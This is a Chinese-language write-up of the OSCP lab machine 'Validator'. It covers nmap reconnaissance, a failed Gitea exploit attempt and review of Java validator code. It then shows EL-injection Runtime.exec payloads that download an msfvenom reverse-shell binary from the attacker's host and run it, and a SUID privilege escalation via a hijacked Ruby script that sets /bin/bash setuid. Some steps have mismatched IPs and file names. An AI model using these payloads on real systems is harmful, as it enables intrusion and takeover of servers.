OSCP靶场–Validator
考点
1.nmap扫描
##
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sV -sC 192.168.227.253 -p- -Pn --min-rate 2500
Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-15 04:13 EDT
Warning: 192.168.227.253 giving up on port because retransmission cap hit (10).
Stats: 0:02:18 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 04:16 (0:00:47 remaining)
Nmap scan report for 192.168.227.253
Host is up (0.15s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
| 256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_ 256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: i_like_gitea=25be1596e4aed055; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=mH_LNP_kozGktD-1-YCxcwmItUQ6MTcxMzE2ODg2NDE2NjAxNzk5OA; Path=/; Expires=Tue, 16 Apr 2024 08:14:24 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 15 Apr 2024 08:14:24 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head>
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title> Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL3ZhbGlkYXRvci5wZzozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vdmFsaWRhdG9yLnBnOjMwMDAvYXNzZXRzL
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Set-Cookie: i_like_gitea=d314c0665c5a70ab; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=mIqy6HqScGJMN0pdAwH5WU1nn5I6MTcxMzE2ODg3MDk0MzIyNTAzNA; Path=/; Expires=Tue, 16 Apr 2024 08:14:30 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 15 Apr 2024 08:14:30 GMT
|_ Content-Length: 0
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Mon, 15 Apr 2024 08:14:23 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <title>Open Port Check</title>
| <script src="https://cdn.tailwindcss.com"></script>
| </head>
| <body>
| <div class="flex min-h-full items-center justify-center py-12 px-4 sm:px-6 lg:px-8">
| <div class="w-full max-w-xs">
| class="text-3xl font-bold">
| Open Port Check Tool
| </h1>
| This is an online utility that allows you to remotely check whether a port is open or closed. This can be
| helpful for users who want to check if a server is running correctly or if a firewall or ISP is blocking
| certain ports.
| </p>
| <br>
| <hr>
| <form class="bg-white shadow-md rounded px-8 pt-6 pb-8 mb-
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,POST,OPTIONS
| Date: Mon, 15 Apr 2024 08:14:23 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1925
| Date: Mon, 15 Apr 2024 08:14:24 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol [RTSP/1.00x0d0x0a0x0d0x0a...]</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid
|_http-title: Open Port Check
50787/tcp filtered unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.08 seconds
2.user priv[EL注入]
## web1:
http://192.168.227.253:8080/## web2:gitea: 版本1.16.6
http://192.168.227.253:3000/############
##
┌──(root㉿kali)-[~/Desktop]
└─# searchsploit gitea
----------------------------------------------------------------------------------------------------------- ---------------------------------Exploit Title | Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Gitea 1.12.5 - Remote Code Execution (Authenticated) | multiple/webapps/49571.py
Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit) | multiple/webapps/51009.rb
Gitea 1.4.0 - Remote Code Execution | multiple/webapps/44996.py
Gitea 1.7.5 - Remote Code Execution | multiple/webapps/49383.py
----------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results###########################
## google:gitea version 1.16.6 exploit
## CVE-2022-30781
https://www.exploit-db.com/exploits/51009
CVE-2022-30781利用失败:
查看代码:src/main/java/com/ugc/app/controller/VerificationController.java
##
package com.ugc.app.controller;import com.ugc.app.Host;
import com.ugc.app.IHostValidator;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;import javax.servlet.http.HttpServletResponse;
import javax.validation.ConstraintViolationException;
import java.net.Socket;
import java.util.Map;@RestController
@Validated
class VerificationController {@PostMapping("/")ResponseEntity<Map<String, String>> check(@RequestBody @IHostValidator final Host host, final HttpServletResponse response) {response.setContentType(MediaType.APPLICATION_JSON_VALUE);try (final Socket ignored = new Socket(host.getIp(), host.getPort())) {return new ResponseEntity<>(Map.of("message", "Port is open"), HttpStatus.OK);} catch (final Exception e) {return new ResponseEntity<>(Map.of("error", "Port is closed"), HttpStatus.OK);}}@ExceptionHandler(ConstraintViolationException.class)@ResponseStatus(HttpStatus.BAD_REQUEST)@ResponseBodyResponseEntity<Map<String, String>> handleConstraintViolationException(final ConstraintViolationException e, final HttpServletResponse response) {response.setContentType(MediaType.APPLICATION_JSON_VALUE);return new ResponseEntity<>(Map.of("error", "Illegal arguments given: " + e.getMessage()), HttpStatus.BAD_REQUEST);}
}
查看src/main/java/com/ugc/app/HostValidator.java
我们注意到,如果我们输入无效主机,验证器就会被触发:
package com.ugc.app;import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import java.util.regex.Matcher;
import java.util.regex.Pattern;public class HostValidator implements ConstraintValidator<IHostValidator, Host> {@Overridepublic boolean isValid(final Host host, final ConstraintValidatorContext context) {final String value = host.getIp();final Pattern pattern = Pattern.compile("^([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$");final Matcher matcher = pattern.matcher(value);context.disableDefaultConstraintViolation();context.buildConstraintViolationWithTemplate("Invalid IP address: " + value).addConstraintViolation();if (host.getPort() < 0 || host.getPort() > 65535) {context.buildConstraintViolationWithTemplate("Invalid Port: " + host.getPort()).addConstraintViolation();}try {if (!matcher.matches()) {return false;} else {for (int i = 1; i <= 4; i++) {final int octet = Integer.parseInt(matcher.group(i));if (octet > 255) {return false;}}return true;}} catch (final Exception e) {return false;}}
}
测试一个EL表达式,存在表达式注入:
3. root priv[suid 自定义文件提权]
┌──(root㉿kali)-[~/Desktop]
└─# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.195 LPORT=9000 -f elf -o shell.elf##############
## 测试代码注入:
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("id")}################
## 测试反弹shell:
## 生成payload
┌──(root㉿kali)-[~/Desktop]
└─# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.195 LPORT=9000 -f elf -o shell.elf┌──(root㉿kali)-[~/Desktop]
└─# python -m http.server 9001############
## 下载payload
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("wget 10.0.2.2:9001/shell -O /tmp/shell")}## 反弹:
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("bash /tmp/shell")}###########
##
┌──(root㉿kali)-[~/Desktop]
└─# nc -klp 9000
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from 192.168.227.253.
Ncat: Connection from 192.168.227.253:43242.
bash: cannot set terminal process group (66428): Inappropriate ioctl for device
bash: no job control in this shell
svc-acc@validator:/$##########################
## 提权:SUID
svc-acc@validator:/$ find / -type f -perm -4000 2>/dev/null
..
/usr/bin/mount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/at
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/local/sbin/check-ruby-gems
..
svc-acc@validator:/$####################
## 注意到这个不常见的/usr/local/sbin/check-ruby-gems二进制文件
## 应该是自定义的二进制文件:
$ file check-ruby-gems
check-ruby-gems: setuid ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6332716e25257c6e332e692e570cb9e49888026f, for GNU/Linux 3.2.0, stripped##################
## stings查看文件内容:
^$\.*+?()[]{}|
.[\*^$
.[\()*+?{|^$
.[\()*+?{|^$
.[\*^$
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PATH
ruby --version
ruby\s(\d)
Version detected: %d
/usr/local/sbin/ruby2-list-outdated-gems.rb
Version is not compatible!
Invalid return data
Error occurred
basic_string::_M_construct null not valid
cannot create std::vector larger than max_size()
Unexpected end of regex when escaping.#########################################
##
## 我们可以假设二进制文件检查 Ruby 版本和要求,然后在同一文件夹中执行 Ruby 脚本。
## 该二进制文件显式设置 PATH 环境变量,让后我们设置环境变量来执行自己恶意的ruby代码#######################
##
ruby 脚本/usr/local/sbin/ruby2-list-outdated-gems.rb:
#! /usr/bin/env ruby
require 'rubygems'def latest_gem_version(gem_name)# Fetch available gem versionsversions = Gem::Specification.find_all_by_name(gem_name).map(&:version)# Sort by version numberversions.sort_by(&:to_s).last
endGem::Specification.each do |spec|puts "#{spec.name} version=#{spec.version} latest=#{latest_gem_version(spec.name)}"
end#######################
## 修改环境变量为/tmp,在修改/usr/local/sbin/ruby2-list-outdated-gems.rb内容如下:
$ cd /tmp
$ cat rubygems.rb
#! /usr/bin/ruby
`chmod u+s /bin/bash`###############
## 再次调用:/usr/local/sbin/check-ruby-gems二进制文件
$ /usr/local/sbin/check-ruby-gems
Version detected: 2
Traceback (most recent call last):
/usr/local/sbin/ruby2-list-outdated-gems.rb:13:in `<main>': uninitialized constant Gem::Specification (NameError)###########
##
bash -p以 root 身份执行以获取 shell
4.总结:
######################
## EL注入:
https://securitylab.github.com/research/bean-validation-RCE/
https://xz.aliyun.com/t/10693
https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a